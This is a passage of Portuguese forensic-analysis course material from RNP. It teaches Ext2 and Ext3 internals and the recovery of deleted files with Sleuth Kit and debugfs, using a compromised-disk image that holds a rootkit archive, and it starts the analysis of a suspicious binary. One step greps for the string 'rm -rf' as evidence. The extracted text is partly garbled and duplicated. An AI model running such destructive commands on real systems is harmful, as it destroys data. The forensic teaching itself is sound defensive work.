A principal dificuldade para recuperar arquivos apagados o fato de que os dados podem ter sido sobrescritos. Alm disso, as verses mais novas de alguns sistemas operacionais utilizam um tipo de sistema de arquivos conhecido como journaling file systems. Estes sistemas de arquivo tm um registro de todas as atividades realizadas no disco, permitindo uma recuperao mais rpida e segura em caso de parada no intencional do sistema. Um exemplo de sistema de arquivos com journaling utilizado pelo Linux o Ext3.

Estrutura do sistema de arquivos


O sistema de arquivos do Linux conhecido como Extended Filesystem (Ext) Existem dois padres: Ext2 e Ext3 A principal estrutura do Ext2 chamada de superblock O bloco de disco a menor estrutura de armazenamento no sistema de arquivos, utilizado para armazenar o contedo dos arquivos O inode a estrutura que armazena as informaes sobre cada arquivo

Estrutura do sistema de arquivos


O sistema de arquivos do Linux conhecido como Extended Filesystem (Ext). Existem dois padres:
\\Ext2, \\Ext3,

utilizado em verses mais antigas do kernel;

um sistema de arquivos com journaling e estrutura compatvel com o Ext2.

A principal estrutura do Ext2 chamada de superblock. Ela armazena as informaes sobre as caractersticas do sistema de arquivos e as informaes sobre posies (livres e ocupadas) do disco. O bloco de disco a menor estrutura de armazenamento no sistema de arquivos. Ele utilizado para armazenar o contedo dos arquivos.

Anlise forense Sesso de aprendizagem 5

87

Arquivos menores que o tamanho do bloco de disco desperdiam o restante do bloco. O inode a estrutura que armazena as informaes sobre cada arquivo.

Estrutura do sistema de arquivos


Cada inode armazena diversas informaes sobre um arquivo: Identificao do proprietrio do arquivo Tipo de arquivo (regular, diretrio, dispositivos etc) Permisses de acesso Nmero de hard links Tamanho do arquivo Tempos de acesso/modificao/status do arquivo Tabela de contedo (endereos dos blocos que armazenam os dados do arquivo)

Podemos ver na figura que quando o tamanho de um arquivo no cabe no limite mximo de blocos que podem ser endereados diretamente (12 blocos), um destes blocos utilizado para enderear indiretamente outros blocos. Este processo pode ser repetido para blocos duplamente e triplamente endereados, permitindo arquivos com tamanhos considerveis.

Estrutura do sistema de arquivos


Ao apagar um arquivo em um sistema com Ext2, o sistema realiza as seguintes funes:
O inode alocado ao arquivo marcado como livre;
Este inode colocado na lista de inodes livres do superblock

O nmero de inodes livres incrementado no superblock Os blocos de disco utilizados pelo arquivo so recolocados na lista de blocos livres O nmero de blocos livres incrementado no superblock

Em nenhum momento, o contedo dos blocos ou do inode apagado, o que permite a recuperao de arquivos apagados

Recuperao e anlise de evidncias

Escola Superior de Redes RNP

88

Estrutura do sistema de arquivos


Ext3 um sistema de arquivos com journaling, que mantm um registro de todas as operaes de leitura e escrita em disco . O problema do Ext3 que o sistema trata de forma diferente o processo de apagamento de um arquivo:
Blocos de disco agrupados em blocos. As tabelas de inodes tambm so associadas a estes grupos de blocos, e os inodes nestas tabelas so localizados sempre dentro do mesmo grupo. Quando um arquivo criado, o sistema operacional aloca um inode e blocos para este arquivo dentro do mesmo grupo de blocos do diretrio pai. Ao apagar um arquivo em um sistema Ext3, o kernel do Linux zera o tamanho do arquivo e o endereo da lista de blocos no inode.

O journaling um registro das atividades do sistema de arquivos. O sistema operacional grava esse registro antes de gravar o dado no disco, para que seja possvel recuperar a estrutura do sistema de arquivos caso ocorra uma falha grave durante uma operao de escrita. Com esse registro, o sistema pode recuperar um estado anterior do disco, fixando qualquer problema causado pela falha. Alm dessa caracterstica, o Ext3 tambm precisou modificar o processo de remoo de um arquivo, para garantir a integridade dos dados. Por isso, ao remover um arquivo, os endereos de bloco e o tamanho do arquivo so zerados no inode.

Recuperao de arquivos
Para recuperar arquivos, precisamos descobrir em qual inode o arquivo procurado estava armazenado Se no for possvel descobrir o inode, talvez possamos recuperar apenas parte do arquivo Podemos utilizar ferramentas para analisar o disco e encontrar as informaes necessrias sobre os arquivos apagados Em ltimo caso, podemos utilizar ferramentas como grep e strings para descobrir onde a informao procurada est armazenada

Recuperao de arquivos
Vemos aqui informaes importantes sobre o sistema de arquivos, como o tamanho do bloco de dados e informaes sobre a disponibilidade de inodes e blocos de dados. O primeiro passo descobrir informaes sobre o sistema de arquivos:
# fsstat -f linux-ext2 /data/compromised/compromise d_hda1.img8 FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext2 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Wed Jan 16 21:06:57 2008 Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Wed Jan 16 21:05:40 2008 METADATA INFORMATION -------------------------------------------Inode Range: 1 - 117760 Root Directory: 2 Free Inodes: 87861 CONTENT INFORMATION -------------------------------------------Block Range: 0 - 235515 Block Size: 4096 Free Blocks: 155704

Anlise forense Sesso de aprendizagem 5

89

Recuperao de arquivos
Para recuperar um arquivo que no tenha sido sobrescrito, o procedimento o seguinte: Encontre o inode onde o arquivo estava armazenado:
fls adpr /data/compromised/compromised_hda1.img

O primeiro comando lista todos os arquivos da imagem que foram removidos. Dessa forma podemos encontrar o inode do arquivo que nos interessa. Com o inode, podemos utilizar o istat para descobrir os blocos onde este arquivo est armazenado. E com o ffind, descobrir o nome original do arquivo, caso ele tenha sido realocado. Finalmente, com o icat podemos recuperar completamente o arquivo original.

Descubra mais informaes sobre o arquivo: Encontre o nome original do arquivo:

istat /data/compromised/compromised_hda1.img 47147 ffind -a /data/compromised/compromised_hda1.img 47147

Recupere o arquivo armazenado no inode encontrado:


icat /data/compromised/compromised_hda1.img 47147 > /data/compromised/s.tgz

Recuperao de arquivos sobrescritos


Para recuperar arquivos que tenham sido sobrescritos, o procedimento diferente: Para facilitar, precisamos extrair do disco todos os blocos no alocados para nenhum arquivo:
# dls f linux-ext2 /data/compromised/compromised_hda1.img > /data/compromised/compromised_hda1.img.dls

Recuperao de arquivos sobrescritos


Caso o arquivo tenha sido sobrescrito parcialmente, o processo um pouco diferente. Primeiramente, precisamos diminuir a regio onde vamos procurar pelas partes do arquivo. Como ele foi removido, sensato pensar que o arquivo est armazenado nos blocos no alocados do disco. Fazemos isso com o comando dls, que extrai o espao no alocado da imagem original. A seguir, procuramos o contedo que nos interessa, como vimos na sesso 3.

Descubra em que posio no arquivo est localizada a informao que procura:


# grep ab "rm -rf" /data/compromised/compromised_hda1.img.dls

Recuperao de arquivos sobrescritos


Agora, descubra onde essa informao est localizada no disco original:
# echo $((66511837/4096)) 16238 # dcalc u 16238 /data/compromised/compromised_hda1.img 39342

Descobrindo a posio na imagem de dados desalocados, utilizamos o dcalc para encontrar a posio na imagem original. Se o ifind no encontrar nenhum inode apontando para este bloco de disco, precisamos recuperar bloco a bloco at conseguir toda informao possvel do arquivo.

Caso o bloco no esteja alocado por nenhum inode, recupere os blocos de dados que conseguir:
# ifind a d 39342 /data/compromised/compromised_hda1.img Inode not found

Recuperao e anlise de evidncias

Escola Superior de Redes RNP

90

Recuperao de arquivos sobrescritos


Ao examinar o contedo do bloco, vemos que ele parte de um arquivo TAR. Para tentar recuperar este arquivo, podemos recuperar bloco por bloco do disco at montar o arquivo completo. Primeiro, vamos analisar diversos blocos ao redor do bloco que achamos, para descobrir onde o arquivo termina:
# dcat -f linux-ext2 /data/compromised/compromised_hda1.img 39341 1000 # grep -ab './udhss -f ./s' /data/compromised/compromised_hda1.img.dls

Em alguns casos, possvel identificar o tipo do arquivo, e baseado na assinatura do arquivo, encontrar o incio e o fim do mesmo. No nosso caso, descobrimos um arquivo TAR. Realizando uma procura nos blocos adjacentes ao bloco que achamos anteriormente, podemos encontrar o fim do arquivo, como fizemos no primeiro e segundo exemplos. Ao encontrar o bloco que armazena o fim do arquivo, como j temos o bloco que armazena o incio do arquivo, podemos recuperar os blocos do arquivo completamente. Finalmente, com o comando dcat, recuperamos os blocos de que precisamos. Aqui vale lembrar de uma coisa. Normalmente, o sistema operacional tenta alocar blocos consecutivos para um arquivo. Por isso possvel recuperar um arquivo ao recuperar os blocos da forma como fizemos. Caso o arquivo esteja armazenado em blocos no consecutivos, talvez no seja possvel recuperar o arquivo completo. Como vimos, possvel recuperar o arquivo quase totalmente:
# tar tvf /data/compromised/recovered.tar8 tar: This does not look like a tar archive tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 ro otkit/scan/.. /xdr -rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 ro otkit/scan/.. /rdx -rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 ro otkit/scan/.. /cl.sh ... -rw------- hack3r/hack3r 307200 2001-08-03 09:41:20 rootkit/core ... -rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 roo tkit/ess-0.8.6/install -rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54 rootkit/udhss tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 ro otkit/rula tar: Error exit delayed from previous errors

Procuramos por um texto que esteja prximo do fim do arquivo:

Recuperao de arquivos sobrescritos


Encontramos o bloco de disco que armazena esta informao e o nmero de blocos que devemos recuperar:
# dcalc -u 16839 /data/compromised/compromised_hda1.img # echo $((39943-39341)) 602

Finalmente, recuperamos os blocos do arquivo:

# dcat -f linux-ext2 /data/compromised/compromised_hda1.img 39341 602 > /data/compromised/recovered.tar

Recuperao de arquivos sobrescritos


# tar tvf /data/compromised/recovered.tar tar: This does not look like a tar archive tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 190 2001-04-15 14:56:20 rootkit/scan/.. /xdr -rwxr-xr-x hack3r/hack3r 840 2001-04-15 14:55:58 rootkit/scan/.. /rdx -rw-r--r-- hack3r/hack3r 7108 2000-04-08 18:38:47 rootkit/scan/.. /cl.sh ... -rw------- hack3r/hack3r 307200 2001-08-03 09:41:20 rootkit/core ... -rw-r--r-- hack3r/hack3r 64 2001-11-24 10:34:07 rootkit/ess-0.8.6/install -rwxr-xr-x hack3r/hack3r 624753 2001-11-24 10:17:54 rootkit/udhss tar: Skipping to next header -rwxr-xr-x hack3r/hack3r 158 2001-11-24 16:59:35 rootkit/rula tar: Error exit delayed from previous errors

Um arquivo TAR pode conter informaes importantes sobre quem o criou. Neste caso, vemos o username e o grupo do usurio que criou o arquivo TAR. Alm disso, observamos que o arquivo TAR contm um arquivo chamado core. Conforme examinaremos na prxima sesso, esse arquivo pode conter informaes valiosas sobre o invasor. Verificamos ainda na sada do comando que o arquivo foi recuperado quase totalmente, apenas com alguns erros que foram mostrados pelo comando.
Anlise forense Sesso de aprendizagem 5

91

Recuperao de arquivos journaling


No Ext3, o processo para recuperar arquivos mais difcil e muitas vezes no podemos recuperar totalmente o arquivo: A lista de blocos que apontam para o contedo dos arquivos zerada quando o arquivo removido. Vamos conhecer uma tcnica para recuperar um arquivo em um sistema de arquivos Ext3. Para isso, vamos utilizar as informaes gravadas no journaling do sistema de arquivos para recuperar as informaes que foram apagadas do inode original.

Recuperao de arquivos journaling


Vimos tcnicas para recuperar arquivos em sistemas Ext2; apesar de algumas vezes ser demorado, o processo no complexo. No Ext3, o processo para recuperar arquivos mais difcil e muitas vezes no podemos recuperar totalmente o arquivo, porque a lista de blocos que apontam para o contedo dos arquivos zerada quando o arquivo removido. Isto faz com que no seja mais possvel acessar o contedo do arquivo a partir das informaes presentes no inode.

Vamos conhecer uma tcnica para recuperar um arquivo em um sistema de arquivos Ext3. Para isso, vamos utilizar as informaes gravadas no journaling do sistema de arquivos para recuperar as informaes que foram apagadas do inode original.

Recuperao de arquivos journaling


Quando feita qualquer atualizao no sistema de arquivos, o journaling guarda uma cpia completa do inode modificado no journal Como no queremos prejudicar nenhuma evidncia na imagem que estamos utilizando, vamos realizar os exerccios a seguir no disco da mquina virtual de nossa estao forense Para isso, vamos criar um arquivo, apag-lo do disco, e tentar recuper-lo utilizando as informaes do journal

Quando feita qualquer atualizao no sistema de arquivos, o journaling guarda uma cpia completa do inode modificado no journal, o que nos permite recuperar a informao original que existia em um inode, bastando recuperar a cpia do inode armazenada no journal. Como no queremos prejudicar nenhuma evidncia na imagem que estamos utilizando, vamos realizar os exerccios a seguir no disco da mquina virtual de nossa estao forense. Para isso, vamos criar um arquivo, apag-lo do disco, e tentar recuper-lo utilizando as informaes do journal. Ateno: como este exerccio vai ser feito no disco que o aluno est utilizando para realizar todos os exerccios, possivelmente os valores de inode e blocos estaro diferentes dos que o aluno encontrar em sua mquina. Basta que o aluno adapte os valores de inodes e blocos de dados mostrados aqui para os encontrados em sua mquina. Inicialmente, vamos criar o arquivo que usaremos como exemplo, e coletar algumas informaes sobre o mesmo antes de apagar, para compar-las depois:
# gzip -9 -c /data/compromised/compressed.files > /d ata/compromised/test.gz8 # ls -li /data/compromised/test.gz8 937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 / data/compromised/test.gz

Recuperao de arquivos journaling


Criar o arquivo de exemplo e coletar informaes:
# gzip -9 -c /data/compromised/compressed.files > /data/compromised/test.gz # ls -li /data/compromised/test.gz 937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /data/compromised/test.gz # istat /dev/sda5 937288 inode: 937288 Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 5252 num of links: 1 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:06:13 2008 Inode Modified: Thu Jan 17 12:06:13 2008 Direct Blocks: 262651 262652

# istat /dev/sda5 9372888

Recuperao e anlise de evidncias

Escola Superior de Redes RNP


inode: 937288 Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 5252 num of links: 1 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:06:13 2008 Inode Modified: Thu Jan 17 12:06:13 2008 Direct Blocks: 262651 262652

92

Aqui apenas criamos o arquivo que usaremos como exemplo, e mostramos com ls li e istat algumas informaes sobre o arquivo e o inode onde ele est armazenado, para compararmos posteriormente com o resultado obtido.

Recuperao de arquivos journaling


Com istat descobrimos as datas de modificao e criao e os blocos onde o arquivo est armazenado:
# rm -f /data/compromised/test.gz # ls -li /data/compromised/*.gz ls: /data/compromised/*.gz: No such file or directory # istat /dev/sda5 937288 inode: 937288 Not Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 0 num of links: 0 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:09:54 2008 Inode Modified: Thu Jan 17 12:09:54 2008 Deleted: Thu Jan 17 12:09:54 2008 Direct Blocks:

Finalmente com o istat descobrimos mais dados sobre o inode, tal como as datas de modificao e criao, alm dos blocos onde o arquivo est armazenado:
# rm -f /data/compromised/test.gz8 # ls -li /data/compromised/*.gz8 ls: /data/compromised/*.gz: No such file or directory # istat /dev/sda5 9372888 inode: 937288 Not Allocated Group: 58 Generation Id: 1159893987 uid / gid: 0 / 0 mode: -rw-r--r-size: 0 num of links: 0 Inode Times: Accessed: Thu Jan 17 12:06:12 2008 File Modified: Thu Jan 17 12:09:54 2008 Inode Modified: Thu Jan 17 12:09:54 2008 Deleted: Thu Jan 17 12:09:54 2008 Direct Blocks:

Removemos o arquivo e listamos informaes do inode, mostrando que este no est mais alocado, e que no temos mais o tamanho e a lista de blocos onde o arquivo foi armazenado. Alm disso, temos uma nova informao: a data de remoo do arquivo.

Anlise forense Sesso de aprendizagem 5

93

Recuperao de arquivos journaling


Utilizar as informaes presentes no journal do sistema de arquivos para tentar recuperar a lista de blocos original do inode. Quando o arquivo foi removido, uma cpia do inode original foi copiada para o journal antes que as informaes fossem zeradas. Se conseguirmos recuperar essa informao, poderemos recuperar o arquivo original. Ferramenta debugfs permite acessar o sistema de arquivos diretamente.

Quando precisamos recuperar uma evidncia do disco, podemos utilizar as informaes presentes no journal do sistema de arquivos para tentar recuperar a lista de blocos original do inode. Lembre-se: ao remover o arquivo, uma cpia do inode original foi copiada para o journal antes que as informaes fossem zeradas. Se conseguirmos recuperar essa informao, poderemos recuperar o arquivo original. Para realizar essa operao, vamos conhecer uma nova ferramenta, chamada debugfs. Esta ferramenta, presente em praticamente qualquer distribuio Linux, permite acessar diretamente o sistema de arquivos.

O debugfs funciona tanto com o Ext2 quanto com o Ext3 e tem a capacidade de acessar as informaes do journal do sistema de arquivos. uma ferramenta presente no pacote E2fsprogs, que normalmente instalado com qualquer distribuio Linux, ou seja, est presente em praticamente qualquer Linux. Entretanto, s pode ser utilizado para Ext2 ou Ext3. Existem outras verses para sistemas especficos, como o debugfs-reiser4 para ReiserFS. Vamos utilizar o debugfs, pois ele tem a capacidade de listar as informaes presentes no journal do sistema de arquivos.

Recuperao de arquivos journaling


# debugfs /dev/sda5 debugfs 1.39-WIP (10-Dec-2005) debugfs: logdump -i <937288> Inode 937288 is at group 58, block 1900546, offset 896 Journal starts at block 1, transaction 116 FS block 1900546 logged at sequence 1143, journal block 6560 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 User: 0 Group: 0 Size: 5252 ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 Blocks: (0+2): 262651 FS block 1900546 logged at sequence 1145, journal block 6570 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 User: 0 Group: 0 Size: 0 ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 Blocks: No magic number at block 6578: end of journal.

# debugfs /dev/sda58 debugfs 1.39-WIP (10-Dec-2005) debugfs: logdump -i <937288> Inode 937288 is at group 58, block 1900546, offset 896 Journal starts at block 1, transaction 116 FS block 1900546 logged at sequence 1143, journal block 6560 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987 User: 0 Group: 0 Size: 5252 ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008 Blocks: (0+2): 262651 FS block 1900546 logged at sequence 1145, journal block 6570 (inode block for inode 937288): Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987 User: 0 Group: 0 Size: 0 ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 Blocks: No magic number at block 6578: end of journal.

Generation: 1159893987

Generation: 1159893987

Recuperao e anlise de evidncias

Escola Superior de Redes RNP

94

Vemos aqui a execuo do comando. O debugfs abre um prompt onde podemos digitar comandos para acessar diretamente o dispositivo analisado. importante notar que a sada do comando logdump -i pode ser bem longa, dependendo da atividade do inode pesquisado. O importante procurar a informao mais prxima do timestamp encontrado no inode do arquivo visto anteriormente com o comando istat. No nosso caso, vemos dois registros importantes: o ltimo o registro do arquivo removido; podemos verificar na cpia do inode que ele contm a data de remoo igual a que vimos anteriormente. O penltimo registro uma cpia do inode original do arquivo, com o tamanho e a lista de blocos onde o arquivo foi armazenado. Caso existissem blocos endereados indiretamente, o processo ficaria mais complicado, mas seguiria o mesmo padro. Com a lista de blocos, podemos recuperar o contedo do arquivo.

Recuperao de arquivos journaling


Utilizar comandos para recuperar os blocos de dados:
# dcat /dev/sda5 262651 2 > /tmp/recover.gz # file /tmp/recover.gz /tmp/recover.gz: gzip compressed data, was "compressed.files", from Unix, max compression # ls -l /tmp/recover.gz -rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recover.gz

Como agora temos a informao que queremos, basta utilizar os comandos que vimos anteriormente para recuperar os blocos de dados:
# dcat /dev/sda5 262651 2 > /tmp/recover.gz8 # file /tmp/recover.gz8 /tmp/recover.gz: gzip compressed data, was compres sed.files, from Unix, max compression # ls -l /tmp/recover.gz8 -rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recov er.gz

Aqui vemos como recuperar o contedo do arquivo, e como utilizar o dd para separar os bytes que precisamos dos dados lidos pelo dcat. Isto feito porque o dcat l somente blocos inteiros, no nosso caso com 4096 bytes. Como podemos ler dois blocos e nosso arquivo s deveria ter 5252 bytes, h um espao extra no fim do segundo bloco que precisamos retirar, o que pode ser feito com o comando dd.

Anlise forense Sesso de aprendizagem 5

95

Recuperao de arquivos journaling


O arquivo recuperado contm 8192 bytes e no o tamanho original de 5252 bytes O arquivo original pode ser recuperado com dd:
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz bs=1 count=5252 5252+0 records in 5252+0 records out 5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 kB/s # gzip -l -t /tmp/test_recovered.gz compressed uncompressed ratio uncompressed_name 5252 18067 71.1% /tmp/test_recovered

Observe que o arquivo recuperado contm 8192 bytes, em vez de 5252 bytes, que o tamanho do arquivo original. Isto acontece pois o dcat apenas copia blocos inteiros. Como sabemos o tamanho original do arquivo, podemos recuperar o arquivo original utilizando o comando dd:
# dd if=/tmp/recover.gz of=/tmp/test_recovered.gz b s=1 count=52528 5252+0 records in 5252+0 records out 5252 bytes (5.3 kB) copied, 0.034853 seconds, 151 k B/s # gzip -l -t /tmp/test_recovered.gz8 compressed uncompressed ratio uncompressed_name 5252 18067 71.1% /tmp/test_recovered

Concluses
Algumas vezes no possvel encontrar no disco as evidncias necessrias para comprovar o caso de invaso As evidncias podem ter sido apagadas ou sobrescritas Mesmo assim, existem ferramentas para recuperar estes dados Aprendemos tambm um pouco mais sobre a estrutura dos sistemas de arquivos do Linux, e tambm como recuperar arquivos em um sistema com journaling como o Ext3

Concluses

Recuperao e anlise de evidncias

Escola Superior de Redes RNP

96

Anlise forense Sesso de aprendizagem 5

5
Sesso de aprendizagem 5 Recuperao e anlise de evidncias Roteiro de atividades
Tpicos e conceitos
\\Procurar

por evidncias no sistema de arquivos e ferramentas necessrias na

internet.

Competncias tcnicas desenvolvidas


\\Identificar

os eventos de um sistema comprometido e buscar as ferramentas necessrias para a investigao.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

98

Atividade 1 Rastreando eventos


1. Um dos objetivos da anlise forense tentar descobrir quando foram realizadas aes na mquina invadida. No sistema que usamos como exemplo, os arquivos de log foram removidos, dificultando a identificao de informaes sobre a invaso. Utilizando as ferramentas do pacote forense, tente recuperar todos os arquivos apagados do diretrio /var/log da mquina comprometida. Depois, faa um breve relatrio sobre o contedo de cada arquivo. Voc saberia dizer por que alguns deles no se parecem com arquivos de log? A atividade deve ser feita em dupla. Mesmo conseguindo recuperar alguns arquivos de log no exerccio anterior, ainda existem informaes importantes que no foram recuperadas. No disco ainda existem partes dos arquivos de log de e-mail e do servidor web. Juntamente com um colega, procure na internet informaes sobre o formato desses logs, e utilize-as para procurar em disco por partes importantes destes logs. Utilize para isso os comandos grep, strings e dcat. A pesquisa deve ser feita em dupla. Crie fichas de identificao para as evidncias encontradas nos dois exerccios anteriores, conforme mostrado na sesso anterior. Para os arquivos que no foram recuperados totalmente, a evidncia que deve ser cadastrada so os inodes onde foram encontrados.

2.

3.

Atividade 2 Buscando ferramentas na internet


1. Como vimos durante a sesso, arquivos apagados em uma partio Ext3 so difceis de recuperar. Muitas vezes, realizar o servio manualmente no vivel. Procure na internet por ferramentas que realizem a recuperao de arquivos em sistemas Ext3, e faa um breve relatrio sobre as caractersticas de cada ferramenta.

Anlise forense Sesso de aprendizagem 5

6
Sesso de aprendizagem 6 Recuperao e anlise de evidncias (parte 2)
Sumrio da sesso
Recuperao e anlise de evidncias . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 Anlise de executveis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 Anlise do cdigo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 Anlise de core dump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107 Slack space . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 Atividade 1 Anlise do contedo do arquivo . . . . . . . . . . . . . . . . . . . . . . . . . 114 Atividade 2 Busca de ferramentas na internet . . . . . . . . . . . . . . . . . . . . . . . 114

Escola Superior de Redes RNP

100

Recuperao e anlise de evidncias


Arquivos, partes de logs, timestamps ou ferramentas podem comprovar atividades realizadas pelo invasor. Muitas vezes estas evidncias no so suficientes para obter uma imagem completa das atividades do invasor. Outras vezes, a quantidade reduzida de evidncias coletadas impede a montagem de uma seqncia lgica de eventos. Aprenderemos a analisar evidncias em arquivos de core dump e a examinar arquivos binrios. Descobriremos como os invasores utilizam os espaos desperdiados no fim dos blocos de dados para ocultar evidncias.

Recuperao e anlise de evidncias


Durante a investigao comum encontrar arquivos, partes de logs, timestamps ou ferramentas que comprovam atividades realizadas pelo invasor. Mesmo assim, muitas vezes no conseguimos ter uma imagem completa das atividades do invasor somente com estas evidncias. Outras vezes, a quantidade de evidncias encontradas to pequena que ficam faltando dados suficientes para a montagem de uma seqncia lgica de eventos. importante que o investigador tenha pelo menos o conhecimento bsico para realizar uma anlise mais aprofundada em determinadas evidncias.

Aprenderemos a analisar evidncias em arquivos de core dump, a examinar arquivos binrios, e descobriremos como os invasores utilizam os espaos desperdiados no fim dos blocos de dados para ocultar evidncias.

Anlise de executveis
Regras durante uma anlise de executveis:
Jamais execute o programa em sua estao forense; utilize uma mquina separada e isolada exclusivamente para isso A mquina de anlise no deve estar conectada na internet Inicie a anlise com ferramentas mais simples, como file, strings e ldd Somente aps coletar todas as informaes possveis com estas ferramentas que deve ser feita uma engenharia reversa do cdigo Em ltimo caso deve-se executar o programa em um ambiente controlado e isolado da rede Jamais confie em um programa suspeito

Anlise de executveis
Algumas regras a serem seguidas durante uma anlise de executveis:
\\Jamais

execute o programa em sua estao forense; utilize uma mquina separada e isolada exclusivamente para isso; mquina de anlise no deve estar conectada na internet; conecte-a a outra mquina atravs de um hub ou cabo cross-over, para o caso do programa tentar conectar-se rede. Deste modo voc poder monitorar a atividade;

\\A

\\Inicie

a anlise com ferramentas mais simples, como file, strings e ldd;

\\Somente

aps coletar todas as informaes possveis com estas ferramentas que deve ser feita uma engenharia reversa do cdigo; ltimo caso, se for realmente necessrio, deve-se executar o programa em um ambiente controlado e isolado da rede. Jamais confie em um programa suspeito.

\\Em

importante deixar claro que nunca se deve executar programa desconhecido em um ambiente conectado rede. Mesmo que o binrio parea inofensivo, pode conter cdigo malicioso escondido que poderia comprometer a mquina ou outros computadores da rede.

Anlise forense Sesso de aprendizagem 6

101

Anlise de executveis
Vamos usar como exemplo um arquivo que foi encontrado em uma sesso anterior:
# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls ... 92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 2002 /mnt/image/usr/bin/smbd\ -D

# find /mnt/image/ -anewer /mnt/image/dev/hdx1 -ls8 ... 92030 664 -rwxr-xr-x 1 root root 672527 Sep 4 2002 /mnt/image/usr/bin/smbd\ -D

O comando find acima foi visto anteriormente, e continha a referncia ao arquivo que vamos usar como exemplo. O comando istat mostra as datas de acesso e modificao do inode, que confirmam que o arquivo foi criado aproximadamente no horrio em que estava ocorrendo a invaso. A data de modificao do arquivo (isto , do contedo do arquivo) antiga, pois o arquivo provavelmente foi extrado de um arquivo TAR que mantm a data de modificao original. O arquivo suspeito, pois foi criado no perodo em que ocorreu a invaso:
# istat /data/compromised/compromised_hda1.img 920308 inode: 92030 uid / gid: 0 / 0 mode: -rwxr-xr-x size: 672527 Accessed: Sun Aug 10 16:54:18 2003 File Modified: Wed Sep 4 00:54:10 2002 Inode Modified: Sun Aug 10 14:33:33 2003

Anlise de executveis
Arquivo suspeito criado no perodo da invaso:
# istat /data/compromised/compromised_hda1.img 92030 inode: 92030 uid / gid: 0 / 0 mode: -rwxr-xr-x size: 672527 Accessed: Sun Aug 10 16:54:18 2003 File Modified: Wed Sep 4 00:54:10 2002 Inode Modified: Sun Aug 10 14:33:33 2003

Anlise de executveis
Comece a procurar pelas informaes mais fceis:
# file /mnt/image/usr/bin/smbd\ -D /mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), not stripped # cp /mnt/image/usr/bin/smbd\ -D /data/compromised/smbd D # ldd /data/compromised/smbd\ -D linux-gate.so.1 => (0xffffe000) libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000) libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000) libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000) libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)

# file /mnt/image/usr/bin/smbd\ -D8 /mnt/image/usr/bin/smbd -D: ELF 32-bit LSB executa ble, Intel 80386, version 1 (SYSV), for GNU/Linux 2 .0.0, dynamically linked (uses shared libs), not st ripped # cp /mnt/image/usr/bin/smbd\ -D /data/compromised /smbd D8 # ldd /data/compromised/smbd\ -D8 linux-gate.so.1 => (0xffffe000) libnsl.so.1 => /lib/tls/libnsl.so.1 (0xb7f42000) libcrypt.so.1 => /lib/tls/libcrypt.so.1 (0xb7f14000) libutil.so.1 => /lib/tls/libutil.so.1 (0xb7f0f000) libc.so.6 => /lib/tls/libc.so.6 (0xb7ddd000)

